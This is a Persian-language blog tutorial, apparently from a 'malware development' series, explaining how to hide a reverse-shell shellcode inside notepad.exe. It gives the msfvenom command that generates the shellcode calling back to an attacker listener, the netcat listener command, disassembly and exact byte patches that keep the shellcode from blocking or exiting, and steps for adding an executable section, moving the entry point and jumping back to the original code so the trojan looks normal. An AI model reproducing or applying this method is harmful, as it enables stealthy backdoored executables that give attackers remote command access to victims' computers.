جاسازی Shellcode در فایل اجرایی exe

در اینجا میخواهیم ببینیم چطور میتوان یک Shellcode را در یک فایل اجرایی ویندوزی جاسازی کرد به طوری که با اجرای فایل اجرایی آلوده ، ابتدا Shellcode به صورت مخفیانه اجرا شده و سپس محتوای عادی فایل اجرایی شروع به اجرا شدن میکنند طوری که همه چیز عادی به نظر برسد .

در بخش های قبلی به بررسی ساختار فایل PE و شرح بخش های مختلف آن و همچنین به بحث Shellcode ها نیز پرداخته این و نحوه کار آن ها را توضیح داده ایم . انتظار میرود دوستان با این دو مبحث آشنا باشند . 

تولید یک Shellcode به وسیله ی msfvenom

ابتدا یک Shellcode از نوع Reverse Shell یا شل معکوس توسط ابزار msfvenom که به صورت پیشفرض در سیستم عامل کالی لینوکس نصب است ، تولید میکنیم . هرگاه این shellcode در سیستم عامل ویندوزی هدف اجرا شود ، و هکر یک شنودگر TCP اجرا کرده باشد ، به cmd ویندوز هدف دسترسی پیدا خواهد کرد .

برای تولید shellcode در کالی لینوکس از دستور زیر استفاده میکنیم :

msfvenom -p windows/shell_reverse_tcp --arch x86 LHOST=192.168.1.107 LPORT=12345 -f raw > shellcode.bin

در دستور بالا ، با استفاده از سوییچ p- نوع payload تولیدی را مشخص کرده ایم . در اینجا shell_reverse_tcp که یک شل معکوس است را انتخاب کرده ایم . سپس توسط سوییچ arch– معماری پردازنده هدف را مشخص کرده ایم . در اینجا x86 مشخص کننده یک ویندوز ۳۲ بیتی است . سپس توسط LHOST و LPORT آدرس IP و شماره پورت شنودگر هکر را مشخص کرده ایم . نهایتا توسط سوییچ f- مشخص کرده ایم payload تولید شده در چه فرمتی باشد . raw به معنی این است که کد های باینری payload مستقیما در یک فایل باینری به نام shellcode.bin ذخیره شوند . این کد های باینری همان shellcode ما است . 

بعد از انتقال فایل shellcode.bin تولید شده به سیستم ویندوزی میتوانیم محتوای آن را در نرم افزار HxD ببینیم :

انتخاب فایل PE مقصد و بررسی آن در نرم افزار PE-BEAR

بعد از تولید shellcode نیازمند یک فایل PE به عنوان فایل پوششی هستیم تا shellcode در آن جاساز شود . در اینجا فایل notepad.exe را در ویندوز انتخاب میکنیم . این فایل در مسیر C:\Windows\System32\notepad.exe قرار دارد . 

فایل notepad.exe را در نرم افزار PE-BEAR باز میکنیم و در سربرگ مربوط به Optional Header اطلاعات این قسمت را مشاهده میکنیم :‌

فیلد مهمی که در اینجا به آن نیاز داریم ، Entry Point است . این فیلد همانطور که در بخش ساختار PE توضیح داده شد ، حاوی RVA نقطه شروع اجرای کد در فایل است . یعنی اجرای کد های فایل PE از این RVA در حافظه شروع میشود . نیاز داریم offset مربوط به همین RVA در خود فایل را نیز بدانیم . کافی است تا روی آدرس جلوی Entry Point کلیک راست کنیم و گزینه Follow RVA را انتخاب کنیم :

بعد از انتخاب گزینه Follow RVA ،نرم افزار PE-BEAR مارا به همین آدرس انتخاب شده در محتوای فایل میبرد . اگر دقت کنیم offset مربوط به این RVA در فایل برابر با 679D است :

در مراحل بعد به این اطلاعات یعنی RVA مربوط به Entry Point و offset آن روی فایل نیاز داریم .

جایگذاری Shellcode در Entry Point فایل PE

حالا که offset مربوط به شروع اجرای کد در فایل notepad.exe را میدانیم میتوانیم خیلی راحت کد های shellcode خود را در این offset در فایل بنویسیم . در این صورت به محض اجرا شدن فایل تغییر یافته ، اجرای کد از shellcode ما شروع خواهد شد :

 

به منظور داشتن فایل notepad.exe اصلی ، یک copy از notepad.exe میگیریم و اسم آن را notepad2.exe میگذاریم و تغییرات خود را روی فایل copy شده اعمال میکنیم :‌

برای جایگذاری shellcode در Entry Point فایل notepad2.exe ابتدا فایل notepad2.exe و همچنین shellcode.bin را در HxD باز میکنیم . برای این منظور میتوانیم نرم افزار HxD را اجرا کنیم و هر دو فایل shellcode.bin و notepad2.exe را Drag & Drop کنیم به داخل HxD .

حال ابتدا در shellcode.bin ، کل محتوای shellcode خود را copy میکنیم :‌

سپس به فایل notepad2.exe در HxD  مراجعه میکنیم . با استفاده از کلید های ترکیبی CTRL + G پنجره Go To باز میشود که میتوانیم بگوییم میخواهیم به کدام offset در فایل برویم . اگر یادتان باشد offset مربوط به Entry Point فایل notepad2.exe را در PE-BEAR بدست آوردیم . این مقدار 679D بود . پس در فیلد Offset مقدار 679D را وارد میکنیم :

بعد از انتخاب offset موردنظر ، اشاره گر نرم افزار HxD دقیقا به روی offset انتخابی میرود . حالا میتوانیم در این نقطه محتوای copy شده shellcode خود را جایگذاری کنیم . برای اینکار در نقطه مربوط به Entry Point کلیک راست کرده و گزینه Paste Write را انتخاب میکنیم :

دقت کنید از گزینه Paste Insert استفاده نکنید . Paste Write بایت های Entry Point فایل را توسط shellcode ما جایگزین میکند اما Paste Insert بایت های shellcode ما را قبل از بایت های Entry Point درج میکند و باعث افزایش حجم فایل و بهم خوردن RVA ها در فایل میشود . 

حال shellcode ما در Entry Point فایل PE نوشته شده است :

فایل notepad2.exe آلوده شده ما آماده است . آن را ذخیره میکنیم . 

حال ابتدا یک شنودگر روی سیستم هکر توسط ابزار netcat روی پورت 12345 (همان پورتی که حین ساخت shellcode انتخاب کردیم) اجرا میکنیم . برای اینکار از دستور زیر استفاده میکنیم :

nc -vlp 12345

به محض اجرای فایل notepad2.exe در ویندوز مقصد میبینیم که دسترسی خط فرمان برای هکر صادر میشود :

مشکل این روش این است که به علت اینکه بایت های اصلی Entry Point فایل PE را با shellcode جایگزین کردیم ، در واقعیت کد های اصلی فایل notepad2.exe را معیوب کرده ایم و در اینصورت فقط shellcode ما اجرا میشود و خود نرم افزار notepad اجرا نمیشود.

ما میخواهیم علاوه بر اجرای shellcode نرم افزار notepad نیز مثل روند عادی خود اجرا شود . در ادامه روشی هوشمندانه تر برای جایگذاری shellcode را میبینیم که این مشکل را حل میکند .

جایگذاری هوشمندانه Shellcode در فایل PE بدونه مختل کردن روند اجرای فایل PE

ما میدانیم که کد های اجرایی فایل notepad در section با نام text. ذخیره میشود . از آنجایی که نمیخواهیم تغییری در کد های اصلی فایل notepad ایجاد کنیم ، یک section جدید در فایل ایجاد میکنیم که دسترسی های read و execute داشته باشد . سپس shellcode خود را در section تازه ایجاد شده مینویسیم . بعد از نوشتن shellcode در section جدید ، فیلد Entry Point در Optional Hdrs فایل را تغییر میدهیم و روی آدرس section جدید میگذاریم در نتیجه به محض اجرای فایل ، اجرا از shellcode ما شروع میشود . در انتهای shellcode یک دستور JMP یا پرش به Entry Point اصلی فایل notepad میگذاریم . در این صورت ابتدا shellcode ما اجرا شده و سپس کد های اصلی notepad به صورت کاملا عادی اجرا میشوند :

اما همچنان مشکلی وجود دارد . shellcode تولید شده توسط msfvenom دو مشکل اساسی برای کار ما دارد .

ما میدانیم که shellcode تولید شده توسط فراخوانی یکسری از توابع Windows API به هدف خود میرسد . به طور کلی shellcode یک پروسه cmd.exe با استفاده از تابع CreateProcess در ویندوز مقصد ساخته و سپس خروجی و ارور استاندارد پروسه ساخته شده را به شنودگر هکر ارسال میکند . همچنین دستورات را از سمت هکر دریافت میکند و در پروسه cmd.exe ساخته شده اجرا میکند . مشکل اینجاست که shellcode بعد از ساختن پروسه cmd.exe ، با استفاده از فراخوانی تابع WaitForSingleObject ، منتظر میماند تا پروسه cmd.exe بسته و تمام شود و سپس ادامه کد ها را اجرا میکند . خب تا زمانی که هکر به shellcode متصل است قطعا پروسه cmd.exe بسته نمیشود زیرا دستورات هکر در آن اجرا میشود . در صورتی پروسه cmd.exe بسته میشود که هکر دستور exit را ارسال کند تا این دستور در cmd.exe اجرا شود و بسته شود . آیا این منطقی است که کد های اصلی notepad اجرا نشوند تا زمانی که هکر دسترسی خود را توسط دستور exit ببندد ؟‌ قطعا یک نه بزرگ !‌ 🙂

تابع WaitForSingleObject به صورت زیر در Windows API ویندوز تعریف شده است :

 

DWORD WaitForSingleObject(
  [in] HANDLE hHandle,
  [in] DWORD  dwMilliseconds
);

به طور کلی این تابع یک handle به یک object مشخص در ورودی اول دریافت میکند و تا زمانی که آن handle در حالت Signaled State نرفته است ، صبر میکند . پروسه cmd.exe وقتی در این حالت میرود که بسته شود . بنابراین تا بسته شدن cmd.exe صبر میکند و کد های بعدی اجرا نمیشوند. همچنین این تابع یک ورودی دومی هم دارد که یک عدد در قالب میلی ثانیه است . این عدد مشخص میکند حداکثر چقدر برای یک handle منتظر بماند.  اگر این عدد برابر 1- باشد ،  این تابع تا ابد و تا زمانی که handle در حالت signaled state نرفته است منتظر خواهد ماند . اما اگر مثلا این عدد ۱۰۰۰ باشد ، این تابع نهایتا ۱ ثانیه بیشتر برای این handle صبر نخواهد کرد .

کاری که shellcode میکند این است که handle مربوط به پروسه cmd.exe را به عنوان ورودی اول و عدد ۱- را به عنوان ورودی دوم به این تابع پاس میدهد  واین باعث مختل شدن روند اجرای کد ما میشود تا زمانی که پروسه cmd.exe بسته شود . 

راه حل این است که shellcode را طوری تغییر دهیم که پارامتر دوم این تابع را به جای ۱- برابر با صفر قرار دهد . اینگونه صفر میلی ثانیه صبر خواهد کرد و در نتیجه بدونه هیچ اتلاف وقتی به سراغ اجرای کد های بعدی میرود و روند اجرای کد متوقف نمیشود . 

دومین مشکل این است که shellcode در پایان کار خود تابع ExitProcess از Windows API را فراخوانی کرده و بسته میشود . در نتیجه اگر اول کار بگوییم shellcode ما در فایل PE اجرا شود و سپس کد های اصلی notepad ، از انجایی که shellcode در پایان کار خود ، ExitProcess را فراخوانی میکند برنامه همانجا بسته میشود و کد های اصلی notepad اجرا نخواهند شد . برای این مورد نیز باید فراخوانی ExitProcess در اخر shellcode را حذف کنیم . 

برای درک بهتر اجازه بدهید ابتدا shellcode را disassemble کنیم . برای اینکار میتوانیم از ابزار ndisasm در لینوکس استفاده کنیم . اگر فایل shellcode.bin را که قبل تر تولید کردیم را داشته باشیم با استفاده از دستور زیر آن را disassemble میکنیم :

 

ndisasm -b32 shellcode.bin

۲۰ خط آخر shellcode در زیر به همراه کامنت گذاری مشخص شده است :

00000110  6879CC3F86        push dword 0x863fcc79
00000115  FFD5              call ebp
00000117  89E0              mov eax,esp
00000119  4E                dec esi		; esi will be -1
0000011A  56                push esi		; dwMilliseconds (-1)
0000011B  46                inc esi
0000011C  FF30              push dword [eax]	; hHandle (cmd.exe process handle)
0000011E  6808871D60        push dword 0x601d8708
00000123  FFD5              call ebp		; call to WaitForSingleObject
00000125  BBF0B5A256        mov ebx,0x56a2b5f0
0000012A  68A695BD9D        push dword 0x9dbd95a6
0000012F  FFD5              call ebp
00000131  3C06              cmp al,0x6
00000133  7C0A              jl 0x13f
00000135  80FBE0            cmp bl,0xe0
00000138  7505              jnz 0x13f
0000013A  BB4713726F        mov ebx,0x6f721347
0000013F  6A00              push byte +0x0	; Exit Code (0)
00000141  53                push ebx
00000142  FFD5              call ebp		; Call to ExitProcess

ستون اول از سمت چپ ، آدرس یا offset مربوط به instruction ها است ، ستون دوم کد های باینری یا opcode ها هستند و ستون سوم دستورات اسمبلی هستند . همانطور که در کامنت مشخص شده ، در خط نهم ، فراخوانی WaitForSingleObject انجام شده است (مشکل اول) . در خط هفتم پارامتر اول آن به آن پاس داده شده است (پروسه cmd.exe) و در خط پنجم ، پارامتر دوم آن . مقدار esi قبل از خط چهارم برابر با صفر است . اما در خط چهارم مشاهده میکنیم که توسط دستور dec esi یک عدد از مقدار esi کم شده است . وقتی رجیستر esi برابر با صفر باشد و یکی از آن کم شود مقدار آن برابر با 0xFFFFFFFF یا همان ۱- میشود . برای حل مشکل اول کافی است دستور خط چهارم را با nop جایگزین کنیم . در این صورت esi برابر با صفر خواهد بود و درنتیجه عدد صفر به عنوان پارامتر دوم تابع WaitForSingleObject پاس داده میشود . اگر دقت کنید در خط ششم مقدار esi یکی به آن اضافه شده است . این به خاطر این بوده است که بعد از تبدیل esi به ۱- ، با اضافه کردن یک به آن دوباره به صفر برگردد . اما از آنجایی که ما esi را با استفاده از nop کردن خط ۴ ، صفر کردیم دیگر نیازی به این دستور نیست . پس دستور خط ۶ را نیز با nop جایگزین میکنیم . 

برای حل مشکل دوم نیز کافی است دستور آخر shellcode که فراخوانی تابع ExitProcess است (خط ۲۰) را با nop جایگزین کنیم .

برای اعمال تغییرات مدنظر میتوان از HxD استفاده کرد . opcode دستور nop برابر با 0x90 است از این رو کافی است بایت هایی که در بالا مربوط به مشکل اول و دوم توضیح داده شد را با 0x90 جایگزین کنیم . 

ابتدا باید خط چهارم و ششم کد بالا را با nop جایگزین کنیم. opcode های خط ۲ تا ۶ در کد diassemble شده بالا (ستون دوم)  برابر است با :

FF D5 89 E0 4E 56 46

در نرم افزار HxD با استفاده از کلید ترکیبی CTRL + R از قابلیت Find & Replace استفاده میکنیم و توالی بالا را با توالی زیر جایگزین میکنیم :

FF D5 89 E0 90 56 90

جهت خنثی کردن فراخوانی ExitProcess نیز کافی است دو بایت آخر shellcode را با 0x90 یا همان nop جایگزین کنیم زیرا فراخوانی این تابع در دو بایت آخر shellcode است . نهایتا ۲۰ خط آخر shellcode تغییر یافته به شکل زیر خواهد شد :

00000110  6879CC3F86        push dword 0x863fcc79
00000115  FFD5              call ebp
00000117  89E0              mov eax,esp
00000119  90                nop			; edited
0000011A  56                push esi		
0000011B  90                nop			; edited
0000011C  FF30              push dword [eax]	
0000011E  6808871D60        push dword 0x601d8708
00000123  FFD5              call ebp		
00000125  BBF0B5A256        mov ebx,0x56a2b5f0
0000012A  68A695BD9D        push dword 0x9dbd95a6
0000012F  FFD5              call ebp
00000131  3C06              cmp al,0x6
00000133  7C0A              jl 0x13f
00000135  80FBE0            cmp bl,0xe0
00000138  7505              jnz 0x13f
0000013A  BB4713726F        mov ebx,0x6f721347
0000013F  6A00              push byte +0x0	
00000141  53                push ebx
00000142  90                nop			; edited
00000143  90                nop			; edited

بعد از اصلاح shellcode به سراغ جایگذاری آن در فایل notepad میرویم . برای ایجاد section جدید در فایل notepad میتوانیم از نرم افزار PE-BEAR استفاده کنیم . ابتدا فایل notepad.exe را در PE-BEAR باز میکنیم . سپس به روی قسمت Sections کلیک راست کرده و گزینه “Add a new section” را میزنیم :

در صفحه Add a new section یک اسم دلخواه برای section جدید وارد میکنیم (مثلا shell.) سپس مقدار اندازه آن در فایل و حافظه ، هر دو را روی ۱۰۰۰ قرار میدهیم تا فضای کافی داشته باشیم (البته این مقدار واقعا زیاد است اما در محیط آزمایشی مشکلی ندارد) . همینطور دسترسی read و execute را نیز به این section میدهیم زیرا کد های داخل این section قرار است اجرا شوند از این رو باید حتما این دو دسترسی را داشته باشند . اگر shellcode ما نیاز به دسترسی write هم داشته باشد باید آن را نیز بدهیم . shellcode فعلی ما این دسترسی را نیاز ندارد اما shellcode های رمزنگاری شده معمولا دسترسی write روی section خودشان را نیز میخواهند زیرا حین رمزگشایی خود ، کد های خود را رونویسی میکنند .

حال به سربرگ Section Hdrs مراجعه میکنیم تا offset و RVA مربوط به section جدید اضافه شده را ببینیم :

همانطور که مشخص است ، offset و RVA مربوط به section جدید اضافه شده به ترتیب برابر است با 10E00 و 14000 . بعد از اضافه شدن section جدید به سربرگ Optional Hdrs رفته و Entry Point فایل را تغییر میدهیم و روی آدرس شروع section جدید قرار میدهیم . دقت کنید آدرس Entry Point یک RVA است پس باید RVA مربوط به Section جدید را بنویسیم که در بالا دیدیم برابر است با 14000 . 

فایل notepad تغییر یافته را باید ذخیره کنیم . روی notepad.exe در لیست سمت چپ نرم افزار PE-BEAR کلیک راست کرده و گزینه ی “save the executable as” را انتخاب میکنیم و فایل تغییر یافته را با نام notepad3.exe ذخیره میکنیم :

حالا فایل تغییر یافته (notepad3.exe) را در HxD باز میکنیم و به آدرس 10E00 میرویم (آدرس شروع section جدید و Entry Point جدید) . shellcode تغییر یافته که در بالا ساختیم را در این آدرس قرار میدهیم :

به غول مرحله آخر میرسیم . تا اینجا فایل notepad3.exe اجرا میشود و shellcode ما شروع به اجرا شدن میکند زیرا Entry Point فایل روی shellcode ما است . میخواهیم بعد از اینکه اجرای shellcode ما تمام شد ، یک پرش به Entry Point اصلی فایل بزنیم . برای انجام این پرش از دستور JMP نسبی با کد 0xE9 استفاده میکنیم  . این دستور jmp یک عدد نسبی علامت دار ۳۲ بیتی در ورودی خود دریافت کرده و به اندازه همین عدد ، EIP را عقب و جلو میبرد . دقت کنید مبدا جا به جایی را باید دقیقا instruction بعد از دستور jmp در نظر بگیریم . از آنجایی که دستور jmp به همراه عملوند آن ۵ بایت میشود (۱ بایت خود دستور و ۴ بایت عدد جا به جایی)‌ مبدا عدد ۴ بایتی که به عنوان عملوند دستور JMP است از ۵ بایت بعدی دستور JMP حساب میشود . 

بنابراین اگر بگوییم JMP 0 ، دقیقا به ۵ بایت جلوتر پرش میکنیم . حالا در HxD به آخر shellcode نوشته شده در فایل notepad3 میرویم و یک دستور JMP نسبی قرار میدهیم :

همانطور که میبینید دستور JMP قرار داده شده و ۴ بایت عملوند آن برای اینکه مشخص باشد با مقدار FF پر شده اند . باید این ۴ بایت عملوند را حساب کنیم . همانطور که در HxD مشخص است اگر دقیقا ۵ بایت بعد از دستور jmp را انتخاب کنیم میبینیم که offset آن برابر است با 10F49 :

این offset همان مبدا پرش ما حساب میشود اما یک مشکل وجود دارد . باید مبدا و مقصد را به صورت RVA داشته باشیم زیرا  فاصله  بین مبدا و مقصد وقتی در فرم offset روی فایل باشند متفاوت است از وقتی که به صورت RVA و در حافظه باشند . پس باید این offset را به RVA متناظر آن در حافظه تبدیل کنیم . برای اینکار باز میتوانیم از PE-BEAR استفاده کنیم . فایل notepad3.exe را در PE-BEAR باز میکنیم و روی گزینه Go To Raw را از قسمت مشخص شده انتخاب میکنیم :

بعد از باز شدن پنجره Go To Raw کافی است offset خود را در فیلد بالایی بنویسیم و همان موقع متناظر RVA آن در فیلد پایینی ظاهر میشود . در اینجا offset مبدا یعنی 10F49 را نوشته ایم و RVA آن را بدست آورده ایم که برابر شده است با 14149:

مقصد پرش ما نیز Entry Point اصلی فایل notepad است . اگر فایل notepad.exe اصلی را در PE-BEAR باز کنیم متوجه میشویم کهRVA مربوط به Entry Point آن برابر است با 739D :

حالا میتوانیم فاصله بین آن ها را به شکل زیر حساب کنیم :

Delta = Destination - Source
=> 0x739D - 0x14149 = -0xCDAC

همانطور که مشخص است فاصله یک عدد منفی در آمد . باید آن را به فرم مکمل دو در بیاوریم . برای اینکار مقدار 0xCDAC را یک بار تمام بیت های آن را معکوس میکنیم (عملگر نقیض یا NOT)و سپس یکی به حاصل آن اضافه میکنیم :

-0xCDAC = (0xCDAC ^ 0xFFFFFFFF) + 1 = 0xFFFF3254

دقت کنید XOR کردن یک عدد ۴ بایتی با 0xFFFFFFFF باعث معکوس شدن بیت های آن میشود .

حال حاصل بدست آمده را به صورت Little Endian (با ترتیب برعکس بایت ها) در ۴ بایت عملوند دستور JMP مینویسیم :

بعد از اجرای شنودگر هکر و اجرای فایل notepad3.exe میبینیم که نرم افزار notepad به درستی اجرا شده و دسترسی cmd نیز برای هکر فراهم شده است 🙂

این آموزش متعلق به بخش توسعه بدافزار است

برای مشاهده تمام آموزش های توسعه بدافزار وبسایت مسترپایتون به بخش توسعه بدافزار مراجعه کنید

پست های مرتبط

مطالعه این پست ها رو از دست ندین!

ساخت KeyLogger ویندوزی با استفاده از Hooking

در این قسمت به بررسی یکی دیگر از روش های مرسوم ساخت کیلاگر های ویندوزی خواهیم پرداخت . اگر مشاهده کرده باشید در یکی از ویدیو های قبلی بررسی کردیم یکی از روش های ساخت کیلاگر استفاده از تابع GetAsyncKeyState بود . در این روش از مکانیزم Hooking ویندوز برای ساخت کیلاگر استفاده میکنیم .

بیشتر بخوانید
KeyLogger کیلاگر

ساخت KeyLogger با استفاده از GetAsyncKeyState

آنچه در این پست میخوانید این آموزش متعلق به بخش توسعه بدافزار است مارا دنبال کنید یکی از روش های…

بیشتر بخوانید

پیاده سازی APC Injection در C

APC Injection یکی دیگر از روش های تزریق و اجرای کد در پروسه های دیگر است . در این پست به بررسی اینکه APC در ویندوز چیست و چگونه بدافزار ها از آن برای تزریق کد استفاده میکنند میپردازیم . 

بیشتر بخوانید

نظرات

سوالات و نظراتتون رو با ما به اشتراک بذارید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

آواتار کاربر کاربر مهمان human ۱۷ اردیبهشت ۱۴۰۳

بسیار عالی و کاربردی . ممنون

حسین احمدی ۲۰ اردیبهشت ۱۴۰۳

خواهش میکنم . خوشحالم که مفید بوده